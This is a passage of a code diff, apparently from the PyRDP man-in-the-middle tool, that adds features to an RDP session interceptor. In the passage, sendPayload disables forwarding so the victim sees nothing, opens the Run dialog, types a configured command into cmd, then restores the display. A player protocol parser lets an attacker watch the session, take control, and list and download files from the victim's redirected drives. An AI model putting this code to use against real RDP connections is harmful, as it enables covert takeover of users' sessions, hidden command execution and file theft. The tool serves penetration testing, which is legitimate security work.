TwistedTCPLayer, server: TwistedTCPLayer, attacker: T self.server = server self.attacker = attacker self.log = log + self.state = state self.recorder = recorder self.serverConnector = serverConnector @@ -70,7 +72,7 @@ def onClientDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) + self.recordConnectionClose() self.log.info("Client connection closed. %(reason)s", {"reason": reason.value}) self.serverConnector.close() self.server.disconnect(True) @@ -91,7 +93,7 @@ def onServerDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) + self.recordConnectionClose() self.log.info("Server connection closed. %(reason)s", {"reason": reason.value}) self.client.disconnect(True) @@ -109,4 +111,10 @@ def onAttackerDisconnection(self, reason): """ Log the disconnection from the attacker side. """ - self.log.info("Attacker connection closed. %(reason)s", {"reason": reason.value}) \ No newline at end of file + self.state.forwardInput = True + self.state.forwardOutput = True + self.log.info("Attacker connection closed. %(reason)s", {"reason": reason.value}) + + def recordConnectionClose(self): + pdu = PlayerConnectionClosePDU(self.recorder.getCurrentTimeStamp()) + self.recorder.record(pdu, pdu.header) \ No newline at end of file diff --git a/pyrdp/mitm/config.py b/pyrdp/mitm/config.py index c356a9986..dcb7de314 100644 --- a/pyrdp/mitm/config.py +++ b/pyrdp/mitm/config.py @@ -44,6 +44,15 @@ def __init__(self): self.recordReplays: bool = True """Whether replays should be recorded or not""" + self.payload: str = "" + """Payload to send automatically upon connection""" + + self.payloadDelay: int = None + """Delay before sending payload automatically, in milliseconds""" + + self.payloadDuration: int = None + """Amount of time the payload should take to complete, in milliseconds""" + @property def replayDir(self) -> Path: """ diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index cfd0ed985..2fbaa7095 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -10,28 +10,30 @@ from twisted.internet import reactor from twisted.internet.protocol import Protocol -from pyrdp.core import AwaitableClientFactory +from pyrdp.core import AsyncIOSequencer, AwaitableClientFactory from pyrdp.core.ssl import ClientTLSContext, ServerTLSContext -from pyrdp.enum import MCSChannelName, ParserMode, PlayerMessageType, SegmentationPDUType -from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, TwistedTCPLayer, \ - VirtualChannelLayer +from pyrdp.enum import MCSChannelName, ParserMode, PlayerPDUType, ScanCode, SegmentationPDUType +from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver from pyrdp.logging.adapters import SessionLogger from pyrdp.logging.observers import FastPathLogger, LayerLogger, MCSLogger, SecurityLogger, SlowPathLogger, X224Logger from pyrdp.mcs import MCSClientChannel, MCSServerChannel +from pyrdp.mitm.AttackerMITM import AttackerMITM from pyrdp.mitm.ClipboardMITM import ActiveClipboardStealer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITM from pyrdp.mitm.FastPathMITM import FastPathMITM from pyrdp.mitm.layerset import RDPLayerSet from pyrdp.mitm.MCSMITM import MCSMITM +from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.SecurityMITM import SecurityMITM from pyrdp.mitm.SlowPathMITM import SlowPathMITM from pyrdp.mitm.state import RDPMITMState from pyrdp.mitm.TCPMITM import TCPMITM from pyrdp.mitm.VirtualChannelMITM import VirtualChannelMITM from pyrdp.mitm.X224MITM import X224MITM -from pyrdp.recording import FileLayer, Recorder, RecordingFastPathObserver, RecordingSlowPathObserver +from pyrdp.mitm.PlayerLayerSet import TwistedPlayerLayerSet +from pyrdp.recording import FileLayer, RecordingFastPathObserver, RecordingSlowPathObserver class RDPMITM: @@ -54,6 +56,9 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.serverLog = log.createChild("server") """Base logger for the server side""" + self.attackerLog = log.createChild("attacker") + """Base logger for the attacker side""" + self.rc4Log = log.createChild("rc4") """Logger for RC4 secrets""" @@ -69,17 +74,17 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.server = RDPLayerSet() """Layers on the server side""" - self.attacker = TwistedTCPLayer() + self.player = TwistedPlayerLayerSet() """Layers on the attacker side""" - self.recorder = Recorder([]) + self.recorder = MITMRecorder([], self.state) """Recorder for this connection""" self.channelMITMs = {} """MITM components for virtual channels""" serverConnector = self.connectToServer() - self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.attacker, self.getLog("tcp"), self.recorder, serverConnector) + self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.player.tcp, self.getLog("tcp"), self.state, self.recorder, serverConnector) """TCP MITM component""" self.x224 = X224MITM(self.client.x224, self.server.x224, self.getLog("x224"), self.state, serverConnector, self.startTLS) @@ -91,12 +96,14 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.security: SecurityMITM = None """Security MITM component""" - self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath) + self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath, self.state) """Slow-path MITM component""" self.fastPath: FastPathMITM = None """Fast-path MITM component""" + self.attacker: AttackerMITM = None + self.client.x224.addObserver(X224Logger(self.getClientLog("x224"))) self.client.mcs.addObserver(MCSLogger(self.getClientLog("mcs"))) self.client.slowPath.addObserver(SlowPathLogger(self.getClientLog("slowpath"))) @@ -107,6 +114,8 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.server.slowPath.addObserver(SlowPathLogger(self.getServerLog("slowpath"))) self.server.slowPath.addObserver(RecordingSlowPathObserver(self.recorder)) + self.player.player.addObserver(LayerLogger(self.attackerLog)) + self.config.outDir.mkdir(parents=True, exist_ok=True) self.config.replayDir.mkdir(exist_ok=True) self.config.fileDir.mkdir(exist_ok=True) @@ -159,12 +168,12 @@ async def connectToServer(self): await serverFactory.connected.wait() if self.config.attackerHost is not None and self.config.attackerPort is not None: - attackerFactory = AwaitableClientFactory(self.attacker) + attackerFactory = AwaitableClientFactory(self.player.tcp) reactor.connectTCP(self.config.attackerHost, self.config.attackerPort, attackerFactory) try: await asyncio.wait_for(attackerFactory.connected.wait(), 1.0) - self.recorder.addTransport(self.attacker) + self.recorder.addTransport(self.player.tcp) except asyncio.TimeoutError: self.log.error("Failed to connect to recording host: timeout expired") @@ -218,14 +227,24 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.security.addObserver(SecurityLogger(self.getClientLog("security"))) self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath"))) - self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_INPUT)) + self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_INPUT)) self.server.security.addObserver(SecurityLogger(self.getServerLog("security"))) self.server.fastPath.addObserver(FastPathLogger(self.getServerLog("fastpath"))) - self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_OUTPUT)) + self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_OUTPUT)) self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) - self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath) + self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state) + + if self.player.tcp.transport: + self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) + + if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap: + deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] + + if deviceRedirectionChannel in self.channelMITMs: + deviceRedirection: DeviceRedirectionMITM = self.channelMITMs[deviceRedirectionChannel] + self.attacker.setDeviceRedirectionComponent(deviceRedirection) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) @@ -233,6 +252,8 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.client.fastPath) self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath) + self.sendPayload() + def buildClipboardChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ Build the MITM component for the clipboard channel. @@ -276,8 +297,11 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) - mitm = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) - self.channelMITMs[client.channelID] = mitm + deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) + self.channelMITMs[client.channelID] = deviceRedirection + + if self.attacker: + self.attacker.setDeviceRedirectionComponent(deviceRedirection) def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ @@ -295,4 +319,60 @@ def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel LayerChainItem.chain(server, serverSecurity, serverLayer) mitm = VirtualChannelMITM(clientLayer, serverLayer) - self.channelMITMs[client.channelID] = mitm \ No newline at end of file + self.channelMITMs[client.channelID] = mitm + + def sendPayload(self): + if len(self.config.payload) == 0: + return + + if self.config.payloadDelay is None: + self.log.error("Payload was set but no delay is configured. Please configure a payload delay. Payload will not be sent for this connection.") + return + + if self.config.payloadDuration is None: + self.log.error("Payload was set but no duration is configured. Please configure a payload duration. Payload will not be sent for this connection.") + return + + def waitForDelay() -> int: + return self.config.payloadDelay + + def disableForwarding() -> int: + self.state.forwardInput = False + self.state.forwardOutput = False + return 50 + + def openRunWindow() -> int: + self.attacker.sendKeys([ScanCode.LWIN, ScanCode.KEY_R]) + return 50 + + def sendCMD() -> int: + self.attacker.sendText("cmd") + return 50 + + def sendEnterKey() -> int: + self.attacker.sendKeys([ScanCode.RETURN]) + return 50 + + def sendPayload() -> int: + self.attacker.sendText(self.config.payload + " & exit") + return 50 + + def waitForPayload() -> int: + return self.config.payloadDuration + + def enableForwarding(): + self.state.forwardInput = True + self.state.forwardOutput = True + + sequencer = AsyncIOSequencer([ + waitForDelay, + disableForwarding, + openRunWindow, + sendCMD, + sendEnterKey, + sendPayload, + sendEnterKey, + waitForPayload, + enableForwarding + ]) + sequencer.run() \ No newline at end of file diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 6d817c541..5d98efa2a 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -45,6 +45,12 @@ def __init__(self): } """Crypters for the client and server side""" + self.forwardInput = True + """Whether input from the client should be forwarded to the server""" + + self.forwardOutput = True + """Whether output from the server should be forwarded to the client""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) diff --git a/pyrdp/parser/RawParser.py b/pyrdp/parser/RawParser.py index ecdd83c97..3c690dadc 100644 --- a/pyrdp/parser/RawParser.py +++ b/pyrdp/parser/RawParser.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.parser import Parser from pyrdp.pdu import PDU diff --git a/pyrdp/parser/__init__.py b/pyrdp/parser/__init__.py index 1561a3dc3..71e94460f 100644 --- a/pyrdp/parser/__init__.py +++ b/pyrdp/parser/__init__.py @@ -7,17 +7,18 @@ from pyrdp.parser.gcc import GCCParser from pyrdp.parser.mcs import MCSParser from pyrdp.parser.parser import Parser -from pyrdp.parser.rdp.client_info import ClientInfoParser +from pyrdp.parser.player import PlayerParser from pyrdp.parser.rdp.bitmap import BitmapParser +from pyrdp.parser.rdp.client_info import ClientInfoParser from pyrdp.parser.rdp.connection import ClientConnectionParser, ServerConnectionParser -from pyrdp.parser.rdp.slowpath import SlowPathParser -from pyrdp.parser.rdp.fastpath import createFastPathParser, BasicFastPathParser, FIPSFastPathParser, \ - FastPathInputParser, FastPathOutputParser, SignedFastPathParser +from pyrdp.parser.rdp.fastpath import BasicFastPathParser, createFastPathParser, FastPathInputParser, \ + FastPathOutputParser, FIPSFastPathParser, SignedFastPathParser from pyrdp.parser.rdp.input import SlowPathInputParser from pyrdp.parser.rdp.licensing import LicensingParser from pyrdp.parser.rdp.negotiation import NegotiationRequestParser, NegotiationResponseParser from pyrdp.parser.rdp.pointer import PointerEventParser from pyrdp.parser.rdp.security import BasicSecurityParser, FIPSSecurityParser, SignedSecurityParser +from pyrdp.parser.rdp.slowpath import SlowPathParser from pyrdp.parser.rdp.virtual_channel.clipboard import ClipboardParser from pyrdp.parser.rdp.virtual_channel.device_redirection import DeviceRedirectionParser from pyrdp.parser.rdp.virtual_channel.virtual_channel import VirtualChannelParser diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py new file mode 100644 index 000000000..d010120ba --- /dev/null +++ b/pyrdp/parser/player.py @@ -0,0 +1,323 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from io import BytesIO + +from pyrdp.core import Int16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 +from pyrdp.enum import DeviceType, MouseButton, PlayerPDUType +from pyrdp.parser.segmentation import SegmentationParser +from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU + + +class PlayerParser(SegmentationParser): + """ + Parser used for parsing messages to and from the PyRDP player. The player can be used by attackers to see the + RDP session in real time and take control of the session. + """ + + def __init__(self): + super().__init__() + + self.parsers = { + PlayerPDUType.CONNECTION_CLOSE: self.parseConnectionClose, + PlayerPDUType.MOUSE_MOVE: self.parseMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, + PlayerPDUType.KEYBOARD: self.parseKeyboard, + PlayerPDUType.TEXT: self.parseText, + PlayerPDUType.FORWARDING_STATE: self.parseForwardingState, + PlayerPDUType.BITMAP: self.parseBitmap, + PlayerPDUType.DEVICE_MAPPING: self.parseDeviceMapping, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.parseDirectoryListingRequest, + PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.parseDirectoryListingResponse, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.parseFileDownloadRequest, + PlayerPDUType.FILE_DOWNLOAD_RESPONSE: self.parseFileDownloadResponse, + PlayerPDUType.FILE_DOWNLOAD_COMPLETE: self.parseFileDownloadComplete, + } + + self.writers = { + PlayerPDUType.CONNECTION_CLOSE: self.writeConnectionClose, + PlayerPDUType.MOUSE_MOVE: self.writeMouseMove, + PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, + PlayerPDUType.KEYBOARD: self.writeKeyboard, + PlayerPDUType.TEXT: self.writeText, + PlayerPDUType.FORWARDING_STATE: self.writeForwardingState, + PlayerPDUType.BITMAP: self.writeBitmap, + PlayerPDUType.DEVICE_MAPPING: self.writeDeviceMapping, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.writeDirectoryListingRequest, + PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.writeDirectoryListingResponse, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.writeFileDownloadRequest, + PlayerPDUType.FILE_DOWNLOAD_RESPONSE: self.writeFileDownloadResponse, + PlayerPDUType.FILE_DOWNLOAD_COMPLETE: self.writeFileDownloadComplete, + } + + + def getPDULength(self, data: bytes) -> int: + return Uint64LE.unpack(data[: 8]) + + def isCompletePDU(self, data: bytes) -> bool: + if len(data) < 8: + return False + + return len(data) >= self.getPDULength(data) + + + def parse(self, data: bytes) -> PlayerPDU: + stream = BytesIO(data) + + length = Uint64LE.unpack(stream) + pduType = PlayerPDUType(Uint16LE.unpack(stream)) + timestamp = Uint64LE.unpack(stream) + + if pduType in self.parsers: + return self.parsers[pduType](stream, timestamp) + + payload = stream.read(length - 18) + return PlayerPDU(pduType, timestamp, payload) + + def write(self, pdu: PlayerPDU) -> bytes: + substream = BytesIO() + + Uint16LE.pack(pdu.header, substream) + Uint64LE.pack(pdu.timestamp, substream) + + if pdu.header in self.writers: + self.writers[pdu.header](pdu, substream) + + substream.write(pdu.payload) + substreamValue = substream.getvalue() + + stream = BytesIO() + Uint64LE.pack(len(substreamValue) + 8, stream) + stream.write(substreamValue) + + return stream.getvalue() + + + def parseConnectionClose(self, _: BytesIO, timestamp: int) -> PlayerConnectionClosePDU: + return PlayerConnectionClosePDU(timestamp) + + def writeConnectionClose(self, pdu: PlayerConnectionClosePDU, stream: BytesIO): + pass + + + def parseMousePosition(self, stream: BytesIO) -> (int, int): + x = Uint16LE.unpack(stream) + y = Uint16LE.unpack(stream) + return x, y + + def writeMousePosition(self, x: int, y: int, stream: BytesIO): + Uint16LE.pack(x, stream) + Uint16LE.pack(y, stream) + + + def parseMouseMove(self, stream: BytesIO, timestamp: int) -> PlayerMouseMovePDU: + x, y = self.parseMousePosition(stream) + return PlayerMouseMovePDU(timestamp, x, y) + + def writeMouseMove(self, pdu: PlayerMouseMovePDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + + + def parseMouseButton(self, stream: BytesIO, timestamp: int) -> PlayerMouseButtonPDU: + x, y = self.parseMousePosition(stream) + button = MouseButton(Uint8.unpack(stream)) + pressed = Uint8.unpack(stream) + return PlayerMouseButtonPDU(timestamp, x, y, button, bool(pressed)) + + def writeMouseButton(self, pdu: PlayerMouseButtonPDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + Uint8.pack(pdu.button.value, stream) + Uint8.pack(int(pdu.pressed), stream) + + + def parseMouseWheel(self, stream: BytesIO, timestamp: int) -> PlayerMouseWheelPDU: + x, y = self.parseMousePosition(stream) + delta = Int16LE.unpack(stream) + horizontal = bool(Uint8.unpack(stream)) + return PlayerMouseWheelPDU(timestamp, x, y, delta, horizontal) + + def writeMouseWheel(self, pdu: PlayerMouseWheelPDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + Int16LE.pack(pdu.delta, stream) + Uint8.pack(int(pdu.horizontal), stream) + + + def parseKeyboard(self, stream: BytesIO, timestamp: int) -> PlayerKeyboardPDU: + code = Uint16LE.unpack(stream) + released = bool(Uint8.unpack(stream)) + extended = bool(Uint8.unpack(stream)) + return PlayerKeyboardPDU(timestamp, code, released, extended) + + def writeKeyboard(self, pdu: PlayerKeyboardPDU, stream: BytesIO): + Uint16LE.pack(pdu.code, stream) + Uint8.pack(int(pdu.released), stream) + Uint8.pack(int(pdu.extended), stream) + + + def parseText(self, stream: BytesIO, timestamp: int) -> PlayerTextPDU: + length = Uint8.unpack(stream) + character = stream.read(length).decode() + released = Uint8.unpack(stream) + return PlayerTextPDU(timestamp, character, bool(released)) + + def writeText(self, pdu: PlayerTextPDU, stream: BytesIO): + encoded = pdu.character[: 1].encode() + + Uint8.pack(len(encoded), stream) + stream.write(encoded) + Uint8.pack(int(pdu.released), stream) + + + def parseForwardingState(self, stream: BytesIO, timestamp: int) -> PlayerForwardingStatePDU: + forwardInput = bool(Uint8.unpack(stream)) + forwardOutput = bool(Uint8.unpack(stream)) + return PlayerForwardingStatePDU(timestamp, forwardInput, forwardOutput) + + def writeForwardingState(self, pdu: PlayerForwardingStatePDU, stream: BytesIO): + Uint8.pack(int(pdu.forwardInput), stream) + Uint8.pack(int(pdu.forwardOutput), stream) + + + def parseColor(self, stream: BytesIO) -> Color: + r = Uint8.unpack(stream) + g = Uint8.unpack(stream) + b = Uint8.unpack(stream) + a = Uint8.unpack(stream) + return Color(r, g, b, a) + + def writeColor(self, color: Color, stream: BytesIO): + Uint8.pack(color.r, stream) + Uint8.pack(color.g, stream) + Uint8.pack(color.b, stream) + Uint8.pack(color.a, stream) + + def parseBitmap(self, stream: BytesIO, timestamp: int) -> PlayerBitmapPDU: + width = Uint32LE.unpack(stream) + height = Uint32LE.unpack(stream) + pixels = stream.read(width * height * 4) + return PlayerBitmapPDU(timestamp, width, height, pixels) + + def writeBitmap(self, pdu: PlayerBitmapPDU, stream: BytesIO): + Uint32LE.pack(pdu.width, stream) + Uint32LE.pack(pdu.height, stream) + stream.write(pdu.pixels) + + + def parseDeviceMapping(self, stream: BytesIO, timestamp: int) -> PlayerDeviceMappingPDU: + deviceID = Uint32LE.unpack(stream) + deviceType = DeviceType(Uint32LE.unpack(stream)) + nameLength = Uint32LE.unpack(stream) + name = stream.read(nameLength).decode() + return PlayerDeviceMappingPDU(timestamp, deviceID, deviceType, name) + + def writeDeviceMapping(self, pdu: PlayerDeviceMappingPDU, stream: BytesIO): + name = pdu.name.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.deviceType, stream) + Uint32LE.pack(len(name), stream) + stream.write(name) + + + def parseDirectoryListingRequest(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingRequestPDU: + deviceID = Uint32LE.unpack(stream) + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + return PlayerDirectoryListingRequestPDU(timestamp, deviceID, path) + + def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + + + def parseFileDescription(self, stream: BytesIO) -> PlayerFileDescription: + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + isDirectory = bool(Uint8.unpack(stream)) + + return PlayerFileDescription(path, isDirectory) + + def writeFileDescription(self, description: PlayerFileDescription, stream: BytesIO): + path = description.path.encode() + + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint8.pack(int(description.isDirectory), stream) + + + def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingResponsePDU: + deviceID = Uint32LE.unpack(stream) + count = Uint32LE.unpack(stream) + fileDescriptions = [self.parseFileDescription(stream) for _ in range(count)] + + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, fileDescriptions) + + def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(pdu.fileDescriptions), stream) + + for description in pdu.fileDescriptions: + self.writeFileDescription(description, stream) + + + def parseFileDownloadRequest(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadRequestPDU: + deviceID = Uint32LE.unpack(stream) + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + return PlayerFileDownloadRequestPDU(timestamp, deviceID, path) + + def writeFileDownloadRequest(self, pdu: PlayerFileDownloadRequestPDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + + + def parseFileDownloadResponse(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadResponsePDU: + deviceID = Uint32LE.unpack(stream) + pathLength = Uint32LE.unpack(stream) + path = stream.read(pathLength).decode() + offset = Uint64LE.unpack(stream) + payloadLength = Uint32LE.unpack(stream) + payload = stream.read(payloadLength) + + return PlayerFileDownloadResponsePDU(timestamp, deviceID, path, offset, payload) + + def writeFileDownloadResponse(self, pdu: PlayerFileDownloadResponsePDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint64LE.pack(pdu.offset, stream) + Uint32LE.pack(len(pdu.payload), stream) + stream.write(pdu.payload) + + + def parseFileDownloadComplete(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadCompletePDU: + deviceID = Uint32LE.unpack(stream) + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + error = Uint32LE.unpack(stream) + return PlayerFileDownloadCompletePDU(timestamp, deviceID, path, error) + + def writeFileDownloadComplete(self, pdu: PlayerFileDownloadCompletePDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint32LE.pack(pdu.error, stream) \ No newline at end of file diff --git a/pyrdp/parser/rdp/__init__.py b/pyrdp/parser/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/parser/rdp/__init__.py +++ b/pyrdp/parser/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/parser/rdp/bitmap.py b/pyrdp/parser/rdp/bitmap.py index c778293d9..cbdc122d4 100644 --- a/pyrdp/parser/rdp/bitmap.py +++ b/pyrdp/parser/rdp/bitmap.py @@ -7,6 +7,7 @@ from io import BytesIO from pyrdp.core import Uint16LE +from pyrdp.enum import FastPathOutputType from pyrdp.pdu import BitmapUpdateData @@ -31,4 +32,24 @@ def parseBitmapUpdateData(self, data: bytes) -> [BitmapUpdateData]: bitmapUpdates.append(BitmapUpdateData(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, flags, bitmapData)) - return bitmapUpdates \ No newline at end of file + return bitmapUpdates + + def writeBitmapUpdateData(self, bitmaps: [BitmapUpdateData]) -> bytes: + stream = BytesIO() + + Uint16LE.pack(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, stream) + Uint16LE.pack(len(bitmaps), stream) + + for bitmap in bitmaps: + Uint16LE.pack(bitmap.destLeft, stream) + Uint16LE.pack(bitmap.destTop, stream) + Uint16LE.pack(bitmap.destRight, stream) + Uint16LE.pack(bitmap.destBottom, stream) + Uint16LE.pack(bitmap.width, stream) + Uint16LE.pack(bitmap.heigth, stream) + Uint16LE.pack(bitmap.bitsPerPixel, stream) + Uint16LE.pack(bitmap.flags, stream) + Uint16LE.pack(len(bitmap.bitmapData), stream) + stream.write(bitmap.bitmapData) + + return stream.getvalue() \ No newline at end of file diff --git a/pyrdp/parser/rdp/fastpath.py b/pyrdp/parser/rdp/fastpath.py index 9503d443d..02cbc20a6 100644 --- a/pyrdp/parser/rdp/fastpath.py +++ b/pyrdp/parser/rdp/fastpath.py @@ -16,7 +16,7 @@ from pyrdp.parser.rdp.security import BasicSecurityParser from pyrdp.pdu import FastPathBitmapEvent, FastPathEventRaw, FastPathMouseEvent, FastPathOrdersEvent, FastPathPDU, \ FastPathScanCodeEvent, SecondaryDrawingOrder -from pyrdp.pdu.rdp.fastpath import FastPathEvent, FastPathOutputEvent +from pyrdp.pdu.rdp.fastpath import FastPathEvent, FastPathOutputEvent, FastPathUnicodeEvent from pyrdp.security import RC4Crypter, RC4CrypterProxy @@ -235,6 +235,7 @@ class FastPathInputParser(Parser): FastPathInputType.FASTPATH_INPUT_EVENT_QOE_TIMESTAMP: 5, } + def getEventLength(self, data: bytes) -> int: if isinstance(data, FastPathEventRaw): return len(data.data) @@ -246,28 +247,51 @@ def getEventLength(self, data: bytes) -> int: return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_SCANCODE] elif isinstance(data, FastPathMouseEvent): return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE] + elif isinstance(data, FastPathUnicodeEvent): + return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE] + raise ValueError("Unsupported event type?") + def parse(self, data: bytes) -> FastPathEvent: stream = BytesIO(data) eventHeader = Uint8.unpack(stream.read(1)) eventCode = (eventHeader & 0b11100000) >> 5 eventFlags= eventHeader & 0b00011111 + if eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_SCANCODE: - return self.parseScanCode(eventFlags, eventHeader, stream) + return self.parseScanCodeEvent(eventFlags, eventHeader, stream) elif eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE: - return self.parseMouseEvent(data, eventHeader) + return self.parseMouseEvent(eventHeader, stream) + elif eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE: + return self.parseUnicodeEvent(eventHeader, stream) + return FastPathEventRaw(data) - def parseMouseEvent(self, data: bytes, eventHeader: int) -> FastPathMouseEvent: - pointerFlags = Uint16LE.unpack(data[1:3]) - mouseX = Uint16LE.unpack(data[3:5]) - mouseY = Uint16LE.unpack(data[5:7]) + + def parseScanCodeEvent(self, eventFlags: int, eventHeader: int, stream: BytesIO) -> FastPathScanCodeEvent: + scanCode = Uint8.unpack(stream.read(1)) + return FastPathScanCodeEvent(eventHeader, scanCode, eventFlags & 1 != 0) + + + def parseMouseEvent(self, eventHeader: int, stream: BytesIO) -> FastPathMouseEvent: + pointerFlags = Uint16LE.unpack(stream) + mouseX = Uint16LE.unpack(stream) + mouseY = Uint16LE.unpack(stream) return FastPathMouseEvent(eventHeader, pointerFlags, mouseX, mouseY) - def parseScanCode(self, eventFlags: int, eventHeader: int, stream: BytesIO) -> FastPathScanCodeEvent: - scancode = Uint8.unpack(stream.read(1)) - return FastPathScanCodeEvent(eventHeader, scancode, eventFlags & 1 != 0) + + def parseUnicodeEvent(self, eventHeader: int, stream: BytesIO) 